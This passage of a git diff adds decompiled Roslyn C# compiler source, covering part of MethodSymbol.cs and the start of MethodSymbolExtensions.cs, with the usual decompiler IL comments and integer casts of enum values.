ParameterSymbol ThisParameter + { + get + { + if (!TryGetThisParameter(out var thisParameter)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MethodSymbol.cs", 282); + } + return thisParameter; + } + } + + internal virtual int ParameterCount => Parameters.Length; + + public abstract ImmutableArray Parameters { get; } + + public virtual MethodSymbol ConstructedFrom => this; + + internal virtual bool IsExplicitInterfaceImplementation => ExplicitInterfaceImplementations.Any(); + + internal abstract bool IsDeclaredReadOnly { get; } + + internal abstract bool IsInitOnly { get; } + + internal virtual bool IsEffectivelyReadOnly + { + get + { + if (!IsDeclaredReadOnly) + { + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType == null || !containingType.IsReadOnly) + { + return false; + } + } + return IsValidReadOnlyTarget; + } + } + + protected bool IsValidReadOnlyTarget + { + get + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + if (!IsStatic && ContainingType.IsStructType() && (int)MethodKind != 1) + { + return !IsInitOnly; + } + return false; + } + } + + public abstract ImmutableArray ExplicitInterfaceImplementations { get; } + + public abstract ImmutableArray RefCustomModifiers { get; } + + public abstract Symbol AssociatedSymbol { get; } + + public MethodSymbol OverriddenMethod + { + get + { + if (IsOverride && (object)ConstructedFrom == this) + { + if (base.IsDefinition) + { + return (MethodSymbol)OverriddenOrHiddenMembers.GetOverriddenMember(); + } + return (MethodSymbol)OverriddenOrHiddenMembersResult.GetOverriddenMember(this, OriginalDefinition.OverriddenMethod); + } + return null; + } + } + + public bool IsConditional + { + get + { + if (GetAppliedConditionalSymbols().Any()) + { + return true; + } + if (IsOverride) + { + MethodSymbol overriddenMethod = OverriddenMethod; + if ((object)overriddenMethod != null) + { + return overriddenMethod.IsConditional; + } + } + return false; + } + } + + internal bool HasSetsRequiredMembers + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)MethodKind == 1) + { + return HasSetsRequiredMembersImpl; + } + return false; + } + } + + protected abstract bool HasSetsRequiredMembersImpl { get; } + + internal abstract bool HasUnscopedRefAttribute { get; } + + internal abstract bool UseUpdatedEscapeRules { get; } + + internal virtual OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers => this.MakeOverriddenOrHiddenMembers(); + + public sealed override SymbolKind Kind => (SymbolKind)9; + + internal bool IsScriptConstructor + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)MethodKind == 1) + { + return ContainingType.IsScriptClass; + } + return false; + } + } + + internal virtual bool IsScriptInitializer => false; + + internal bool IsImplicitConstructor + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + if ((int)MethodKind == 1 || (int)MethodKind == 14) + { + return IsImplicitlyDeclared; + } + return false; + } + } + + internal bool IsImplicitInstanceConstructor + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)MethodKind == 1) + { + return IsImplicitlyDeclared; + } + return false; + } + } + + internal bool IsSubmissionConstructor + { + get + { + if (IsScriptConstructor) + { + return ContainingAssembly.IsInteractive; + } + return false; + } + } + + internal bool IsSubmissionInitializer + { + get + { + if (IsScriptInitializer) + { + return ContainingAssembly.IsInteractive; + } + return false; + } + } + + internal bool IsEntryPointCandidate + { + get + { + if (this.IsPartialDefinition() && (object)PartialImplementationPart == null) + { + return false; + } + if (IsStatic && !IsAbstract && !IsVirtual) + { + return Name == "Main"; + } + return false; + } + } + + internal virtual MethodSymbol CallsiteReducedFromMethod => null; + + public virtual MethodSymbol PartialImplementationPart => null; + + public virtual MethodSymbol PartialDefinitionPart => null; + + public virtual MethodSymbol ReducedFrom => null; + + public virtual TypeSymbol ReceiverType => ContainingType; + + internal ImmutableArray ParameterTypesWithAnnotations + { + get + { + ParameterSignature.PopulateParameterSignature(Parameters, ref _lazyParameterSignature); + return _lazyParameterSignature.parameterTypesWithAnnotations; + } + } + + internal ImmutableArray ParameterRefKinds + { + get + { + ParameterSignature.PopulateParameterSignature(Parameters, ref _lazyParameterSignature); + return _lazyParameterSignature.parameterRefKinds; + } + } + + internal abstract CallingConvention CallingConvention { get; } + + internal virtual ImmutableArray UnmanagedCallingConventionTypes => ImmutableArray.Empty; + + internal virtual TypeMap TypeSubstitution => null; + + public sealed override bool HasUnsupportedMetadata + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo diagnosticInfo = GetUseSiteInfo().DiagnosticInfo; + bool flag = diagnosticInfo != null; + if (flag) + { + int code = diagnosticInfo.Code; + bool flag2 = ((code == 570 || code == 9041) ? true : false); + flag = flag2; + } + return flag; + } + } + + internal virtual bool IsIterator => false; + + internal virtual TypeWithAnnotations IteratorElementTypeWithAnnotations => default(TypeWithAnnotations); + + internal virtual bool SynthesizesLoweredBoundBody => false; + + internal abstract bool GenerateDebugInfo { get; } + + internal virtual NullableAnnotation ReceiverNullableAnnotation + { + get + { + if (RequiresInstanceReceiver) + { + return (NullableAnnotation)1; + } + return (NullableAnnotation)0; + } + } + + public abstract bool AreLocalsZeroed { get; } + + bool IMethodSymbolInternal.IsIterator => IsIterator; + + IDefinition IReference.AsDefinition(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (IDefinition)(object)ResolvedMethodImpl(context); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (AdaptedMethodSymbol.OriginalDefinition is SynthesizedGlobalMethodSymbol synthesizedGlobalMethodSymbol) + { + return (ITypeReference)(object)synthesizedGlobalMethodSymbol.ContainingPrivateImplementationDetailsType; + } + NamedTypeSymbol containingType = AdaptedMethodSymbol.ContainingType; + return (ITypeReference)(object)((PEModuleBuilder)(object)context.Module).Translate(containingType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, fromImplements: false, AdaptedMethodSymbol.IsDefinition); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + if (!AdaptedMethodSymbol.IsDefinition) + { + if (AdaptedMethodSymbol.IsGenericMethod) + { + visitor.Visit((IGenericMethodInstanceReference)(object)this); + } + else + { + visitor.Visit((IMethodReference)(object)this); + } + return; + } + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)visitor.Context.Module; + if (AdaptedMethodSymbol.ContainingModule == ((PEModuleBuilder)pEModuleBuilder).SourceModule) + { + visitor.Visit((IMethodDefinition)(object)this); + } + else + { + visitor.Visit((IMethodReference)(object)this); + } + } + + IMethodDefinition IMethodReference.GetResolvedMethod(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ResolvedMethodImpl(context); + } + + private IMethodDefinition ResolvedMethodImpl(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + if (AdaptedMethodSymbol.IsDefinition && AdaptedMethodSymbol.ContainingModule == ((PEModuleBuilder)pEModuleBuilder).SourceModule) + { + return (IMethodDefinition)(object)this; + } + return null; + } + + ImmutableArray ISignature.GetParameters(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + if (AdaptedMethodSymbol.IsDefinition && AdaptedMethodSymbol.ContainingModule == ((PEModuleBuilder)pEModuleBuilder).SourceModule) + { + return StaticCast.From(EnumerateDefinitionParameters()); + } + return pEModuleBuilder.Translate(AdaptedMethodSymbol.Parameters); + } + + private ImmutableArray EnumerateDefinitionParameters() + { + return StaticCast.From(AdaptedMethodSymbol.Parameters); + } + + ITypeReference ISignature.GetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).Translate(AdaptedMethodSymbol.ReturnType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + IEnumerable IGenericMethodInstanceReference.GetGenericArguments(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + ImmutableArray.Enumerator enumerator = AdaptedMethodSymbol.TypeArgumentsWithAnnotations.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return ((PEModuleBuilder)moduleBeingBuilt).Translate(enumerator.Current.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + } + + IMethodReference IGenericMethodInstanceReference.GetGenericMethod(EmitContext context) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (!PEModuleBuilder.IsGenericType(AdaptedMethodSymbol.ContainingType)) + { + return ((PEModuleBuilder)(object)context.Module).Translate(AdaptedMethodSymbol.OriginalDefinition, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, null, needDeclaration: true); + } + return (IMethodReference)(object)new SpecializedMethodReference(AdaptedMethodSymbol.ConstructedFrom); + } + + IMethodBody IMethodDefinition.GetBody(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return ((CommonPEModuleBuilder)(PEModuleBuilder)(object)context.Module).GetMethodBody((IMethodSymbolInternal)(object)AdaptedMethodSymbol); + } + + MethodImplAttributes IMethodDefinition.GetImplementationAttributes(EmitContext context) + { + return AdaptedMethodSymbol.ImplementationAttributes; + } + + IEnumerable IMethodDefinition.GetReturnValueAttributes(EmitContext context) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray returnTypeAttributes = AdaptedMethodSymbol.GetReturnTypeAttributes(); + ArrayBuilder attributes = null; + AdaptedMethodSymbol.AddSynthesizedReturnTypeAttributes((PEModuleBuilder)(object)context.Module, ref attributes); + return (IEnumerable)AdaptedMethodSymbol.GetCustomAttributesToEmit(returnTypeAttributes, attributes, isReturnType: true, emittingAssemblyAttributesInNetModule: false); + } + + internal new MethodSymbol GetCciAdapter() + { + return this; + } + + internal abstract bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false); + + internal abstract bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false); + + internal abstract UnmanagedCallersOnlyAttributeData? GetUnmanagedCallersOnlyAttributeData(bool forceComplete); + + public abstract DllImportData? GetDllImportData(); + + internal abstract IEnumerable GetSecurityInformation(); + + internal ImmutableArray GetTypeParametersAsTypeArguments() + { + return TypeMap.TypeParametersAsTypeSymbolsWithAnnotations(TypeParameters); + } + + internal virtual bool TryGetThisParameter(out ParameterSymbol thisParameter) + { + thisParameter = null; + return false; + } + + public virtual ImmutableArray GetReturnTypeAttributes() + { + return ImmutableArray.Empty; + } + + internal MethodSymbol GetLeastOverriddenMethod(NamedTypeSymbol accessingTypeOpt) + { + return GetLeastOverriddenMethodCore(accessingTypeOpt, requireSameReturnType: false); + } + + private MethodSymbol GetLeastOverriddenMethodCore(NamedTypeSymbol accessingTypeOpt, bool requireSameReturnType) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + accessingTypeOpt = accessingTypeOpt?.OriginalDefinition; + MethodSymbol methodSymbol = this; + while (methodSymbol.IsOverride && !methodSymbol.HidesBaseMethodsByName) + { + MethodSymbol overriddenMethod = methodSymbol.OverriddenMethod; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if ((object)overriddenMethod == null || ((object)accessingTypeOpt != null && !AccessCheck.IsSymbolAccessible(overriddenMethod, accessingTypeOpt, ref useSiteInfo)) || (requireSameReturnType && !ReturnType.Equals(overriddenMethod.ReturnType, (TypeCompareKind)63))) + { + break; + } + methodSymbol = overriddenMethod; + } + return methodSymbol; + } + + internal MethodSymbol GetConstructedLeastOverriddenMethod(NamedTypeSymbol accessingTypeOpt, bool requireSameReturnType) + { + MethodSymbol leastOverriddenMethodCore = ConstructedFrom.GetLeastOverriddenMethodCore(accessingTypeOpt, requireSameReturnType); + if (!leastOverriddenMethodCore.IsGenericMethod) + { + return leastOverriddenMethodCore; + } + return leastOverriddenMethodCore.Construct(TypeArgumentsWithAnnotations); + } + + internal virtual bool CallsAreOmitted(SyntaxTree syntaxTree) + { + if (syntaxTree != null) + { + return CallsAreConditionallyOmitted(syntaxTree); + } + return false; + } + + private bool CallsAreConditionallyOmitted(SyntaxTree syntaxTree) + { + if (IsConditional) + { + ImmutableArray appliedConditionalSymbols = GetAppliedConditionalSymbols(); + if (syntaxTree.IsAnyPreprocessorSymbolDefined(appliedConditionalSymbols)) + { + return false; + } + if (IsOverride) + { + MethodSymbol overriddenMethod = OverriddenMethod; + if ((object)overriddenMethod != null && overriddenMethod.IsConditional) + { + return overriddenMethod.CallsAreConditionallyOmitted(syntaxTree); + } + } + return true; + } + return false; + } + + internal abstract ImmutableArray GetAppliedConditionalSymbols(); + + internal static bool CanOverrideOrHide(MethodKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected I4, but got Unknown + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + switch ((int)kind) + { + case 0: + case 1: + case 4: + case 8: + case 13: + case 14: + return false; + case 2: + case 3: + case 5: + case 7: + case 9: + case 10: + case 11: + case 12: + case 17: + return true; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitMethod(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitMethod(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitMethod(this); + } + + public MethodSymbol ReduceExtensionMethod(TypeSymbol receiverType, CSharpCompilation compilation) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + if ((object)receiverType == null) + { + throw new ArgumentNullException("receiverType"); + } + if (!IsExtensionMethod || (int)MethodKind == 13 || receiverType.IsVoidType()) + { + return null; + } + return ReducedExtensionMethodSymbol.Create(this, receiverType, compilation); + } + + public MethodSymbol ReduceExtensionMethod() + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + if (!IsExtensionMethod || (int)MethodKind == 13) + { + return null; + } + return ReducedExtensionMethodSymbol.Create(this); + } + + public virtual TypeSymbol GetTypeInferredDuringReduction(TypeParameterSymbol reducedFromTypeParameter) + { + throw new InvalidOperationException(); + } + + public MethodSymbol Construct(params TypeSymbol[] typeArguments) + { + return Construct(ImmutableArray.Create(typeArguments)); + } + + public MethodSymbol Construct(ImmutableArray typeArguments) + { + return Construct(ImmutableArrayExtensions.SelectAsArray(typeArguments, (Func)((TypeSymbol a) => TypeWithAnnotations.Create(a)))); + } + + internal MethodSymbol Construct(ImmutableArray typeArguments) + { + if ((object)this != ConstructedFrom || Arity == 0) + { + throw new InvalidOperationException(); + } + if (typeArguments.IsDefault) + { + throw new ArgumentNullException("typeArguments"); + } + if (typeArguments.Any(NamedTypeSymbol.TypeWithAnnotationsIsNullFunction)) + { + throw new ArgumentException(CSharpResources.TypeArgumentCannotBeNull, "typeArguments"); + } + if (typeArguments.Length != Arity) + { + throw new ArgumentException(CSharpResources.WrongNumberOfTypeArguments, "typeArguments"); + } + if (ConstructedNamedTypeSymbol.TypeParametersMatchTypeArguments(TypeParameters, typeArguments)) + { + return this; + } + return new ConstructedMethodSymbol(this, typeArguments); + } + + internal MethodSymbol AsMember(NamedTypeSymbol newOwner) + { + if (!newOwner.IsDefinition) + { + return new SubstitutedMethodSymbol(newOwner, this); + } + return this; + } + + internal TypeSymbol GetParameterType(int index) + { + return ParameterTypesWithAnnotations[index].Type; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (base.IsDefinition) + { + return new UseSiteInfo(base.PrimaryDependency); + } + return OriginalDefinition.GetUseSiteInfo(); + } + + internal bool CalculateUseSiteDiagnostic(ref UseSiteInfo result) + { + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + if (DeriveUseSiteInfoFromType(ref result, ReturnTypeWithAnnotations, IsInitOnly ? AllowedRequiredModifierType.System_Runtime_CompilerServices_IsExternalInit : AllowedRequiredModifierType.None) || DeriveUseSiteInfoFromCustomModifiers(ref result, RefCustomModifiers, AllowedRequiredModifierType.System_Runtime_InteropServices_InAttribute) || DeriveUseSiteInfoFromParameters(ref result, Parameters)) + { + return true; + } + ModuleSymbol containingModule = ContainingModule; + if ((object)containingModule != null && containingModule.HasUnifiedReferences) + { + HashSet checkedTypes = null; + DiagnosticInfo result2 = result.DiagnosticInfo; + if (ReturnTypeWithAnnotations.GetUnificationUseSiteDiagnosticRecursive(ref result2, this, ref checkedTypes) || Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result2, RefCustomModifiers, this, ref checkedTypes) || Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result2, Parameters, this, ref checkedTypes) || Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result2, TypeParameters, this, ref checkedTypes)) + { + result = result.AdjustDiagnosticInfo(result2); + return true; + } + result = result.AdjustDiagnosticInfo(result2); + } + return false; + } + + internal static (bool IsCallConvs, ImmutableHashSet? CallConvs) TryDecodeUnmanagedCallersOnlyCallConvsField(string key, TypedConstant value, bool isField, Location? location, BindingDiagnosticBag? diagnostics) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + ImmutableHashSet item = null; + if (!UnmanagedCallersOnlyAttributeData.IsCallConvsTypedConstant(key, isField, ref value)) + { + return (IsCallConvs: false, CallConvs: item); + } + if (((TypedConstant)(ref value)).Values.IsDefaultOrEmpty) + { + item = ImmutableHashSet.Empty; + return (IsCallConvs: true, CallConvs: item); + } + PooledHashSet instance = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = ((TypedConstant)(ref value)).Values.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypedConstant current = enumerator.Current; + if (!(((TypedConstant)(ref current)).ValueInternal is NamedTypeSymbol namedTypeSymbol) || !FunctionPointerTypeSymbol.IsCallingConventionModifier(namedTypeSymbol)) + { + diagnostics?.Add(ErrorCode.ERR_InvalidUnmanagedCallersOnlyCallConv, location, ((TypedConstant)(ref current)).ValueInternal ?? "null"); + } + else + { + ((HashSet)(object)instance).Add((INamedTypeSymbolInternal)(object)namedTypeSymbol); + } + } + item = ((IEnumerable)instance).ToImmutableHashSet(); + instance.Free(); + return (IsCallConvs: true, CallConvs: item); + } + + internal bool CheckAndReportValidUnmanagedCallersOnlyTarget(SyntaxNode? node, BindingDiagnosticBag? diagnostics) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + bool flag = !IsStatic || IsAbstract || IsVirtual; + if (!flag) + { + MethodKind methodKind = MethodKind; + bool flag2 = (((int)methodKind == 10 || (int)methodKind == 17) ? true : false); + flag = !flag2; + } + if (flag) + { + diagnostics?.Add(ErrorCode.ERR_UnmanagedCallersOnlyRequiresStatic, node.Location); + return true; + } + if (isGenericMethod(this) || ContainingType.IsGenericType) + { + diagnostics?.Add(ErrorCode.ERR_UnmanagedCallersOnlyMethodOrTypeCannotBeGeneric, node.Location); + return true; + } + return false; + static bool isGenericMethod([DisallowNull] MethodSymbol? method) + { + do + { + if (method.IsGenericMethod) + { + return true; + } + method = method.ContainingSymbol as MethodSymbol; + } + while ((object)method != null); + return false; + } + } + + protected sealed override bool IsHighestPriorityUseSiteErrorCode(int code) + { + if (code == 570 || code == 9041) + { + return true; + } + return false; + } + + internal virtual void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/MethodSymbol.cs", 1102); + } + + internal abstract int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree); + + internal virtual void AddSynthesizedReturnTypeAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + if (ReturnsByRefReadonly) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsReadOnlyAttribute(this)); + } + CSharpCompilation declaringCompilation = DeclaringCompilation; + TypeWithAnnotations returnTypeWithAnnotations = ReturnTypeWithAnnotations; + if (returnTypeWithAnnotations.Type.ContainsDynamic() && declaringCompilation.HasDynamicEmitAttributes(BindingDiagnosticBag.Discarded, Location.None)) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDynamicAttribute(returnTypeWithAnnotations.Type, returnTypeWithAnnotations.CustomModifiers.Length + RefCustomModifiers.Length, RefKind)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(returnTypeWithAnnotations.Type)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNativeIntegerAttribute(this, returnTypeWithAnnotations.Type)); + } + if (returnTypeWithAnnotations.Type.ContainsTupleNames() && declaringCompilation.HasTupleNamesAttributes(BindingDiagnosticBag.Discarded, Location.None)) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeTupleNamesAttribute(returnTypeWithAnnotations.Type)); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(this, GetNullableContextValue(), returnTypeWithAnnotations)); + } + } + + internal abstract bool IsNullableAnalysisEnabled(); + + int IMethodSymbolInternal.CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + return CalculateLocalSyntaxOffset(localPosition, localTree); + } + + IMethodSymbolInternal IMethodSymbolInternal.Construct(params ITypeSymbolInternal[] typeArguments) + { + return (IMethodSymbolInternal)(object)Construct((TypeSymbol[])(object)typeArguments); + } + + protected sealed override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.MethodSymbol(this); + } + + public override bool Equals(Symbol other, TypeCompareKind compareKind) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if (other is SubstitutedMethodSymbol substitutedMethodSymbol) + { + return substitutedMethodSymbol.Equals(this, compareKind); + } + if (other is NativeIntegerMethodSymbol nativeIntegerMethodSymbol) + { + return nativeIntegerMethodSymbol.Equals(this, compareKind); + } + return base.Equals(other, compareKind); + } + + public override int GetHashCode() + { + return base.GetHashCode(); + } + + protected static void AddRequiredMembersMarkerAttributes(ref ArrayBuilder attributes, MethodSymbol methodToAttribute) + { + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + if (methodToAttribute.ShouldCheckRequiredMembers() && methodToAttribute.ContainingType.HasAnyRequiredMembers) + { + ObsoleteAttributeData? obsoleteAttributeData = methodToAttribute.ObsoleteAttributeData; + CSharpCompilation declaringCompilation = methodToAttribute.DeclaringCompilation; + if (obsoleteAttributeData == null) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)397, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)20), (TypedConstantKind)1, (object)"Constructors of types with required members are not supported in this version of your compiler."), new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)7), (TypedConstantKind)1, (object)true)))); + } + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)476, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)20), (TypedConstantKind)1, (object)"RequiredMembers")))); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodSymbolExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodSymbolExtensions.cs new file mode 100644 index 0000000..da8d7fa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodSymbolExtensions.cs @@ -0,0 +1,247 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class MethodSymbolExtensions +{ + public static bool IsParams(this MethodSymbol method) + { + if (method.ParameterCount != 0) + { + return method.Parameters[method.ParameterCount - 1].IsParams; + } + return false; + } + + internal static bool IsSynthesizedLambda(this MethodSymbol method) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + if (method.IsImplicitlyDeclared) + { + return (int)method.MethodKind == 0; + } + return false; + } + + public static bool IsRuntimeFinalizer(this MethodSymbol method, bool skipFirstMethodKindCheck = false) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Invalid comparison between Unknown and I4 + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + if ((object)method == null || method.Name != "Finalize" || method.ParameterCount != 0 || method.Arity != 0 || !method.IsMetadataVirtual(ignoreInterfaceImplementationChanges: true)) + { + return false; + } + while ((object)method != null) + { + if (!skipFirstMethodKindCheck && (int)method.MethodKind == 4) + { + return true; + } + if ((int)method.ContainingType.SpecialType == 1) + { + return true; + } + if (method.IsMetadataNewSlot(ignoreInterfaceImplementationChanges: true)) + { + return false; + } + method = method.GetFirstRuntimeOverriddenMethodIgnoringNewSlot(out var _); + skipFirstMethodKindCheck = false; + } + return false; + } + + public static MethodSymbol ConstructIfGeneric(this MethodSymbol method, ImmutableArray typeArguments) + { + if (!method.IsGenericMethod) + { + return method; + } + return method.Construct(typeArguments); + } + + public static bool CanBeHiddenByMemberKind(this MethodSymbol hiddenMethod, SymbolKind hidingMemberKind) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected I4, but got Unknown + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + if ((int)hiddenMethod.MethodKind == 4) + { + return false; + } + switch (hidingMemberKind - 4) + { + default: + if ((int)hidingMemberKind != 15) + { + break; + } + goto case 0; + case 0: + case 5: + case 7: + return CanBeHiddenByMethodPropertyOrType(hiddenMethod); + case 1: + case 2: + return true; + case 3: + case 4: + case 6: + break; + } + throw ExceptionUtilities.UnexpectedValue((object)hidingMemberKind); + } + + private static bool CanBeHiddenByMethodPropertyOrType(MethodSymbol method) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Expected I4, but got Unknown + MethodKind methodKind = method.MethodKind; + switch (methodKind - 1) + { + case 0: + case 1: + case 3: + case 8: + case 13: + return false; + case 4: + case 6: + case 10: + case 11: + return method.IsIndexedPropertyAccessor(); + default: + return true; + } + } + + public static bool IsAsyncReturningVoid(this MethodSymbol method) + { + if (method.IsAsync) + { + return method.ReturnsVoid; + } + return false; + } + + public static bool IsAsyncEffectivelyReturningTask(this MethodSymbol method, CSharpCompilation compilation) + { + if (method.IsAsync && method.ReturnType is NamedTypeSymbol { Arity: 0 }) + { + if (!method.HasAsyncMethodBuilderAttribute(out object _)) + { + return method.ReturnType.IsNonGenericTaskType(compilation); + } + return true; + } + return false; + } + + public static bool IsAsyncEffectivelyReturningGenericTask(this MethodSymbol method, CSharpCompilation compilation) + { + if (method.IsAsync && method.ReturnType is NamedTypeSymbol { Arity: 1 }) + { + if (!method.HasAsyncMethodBuilderAttribute(out object _)) + { + return method.ReturnType.IsGenericTaskType(compilation); + } + return true; + } + return false; + } + + public static bool IsAsyncReturningIAsyncEnumerable(this MethodSymbol method, CSharpCompilation compilation) + { + if (method.IsAsync) + { + return method.ReturnType.IsIAsyncEnumerableType(compilation); + } + return false; + } + + public static bool IsAsyncReturningIAsyncEnumerator(this MethodSymbol method, CSharpCompilation compilation) + { + if 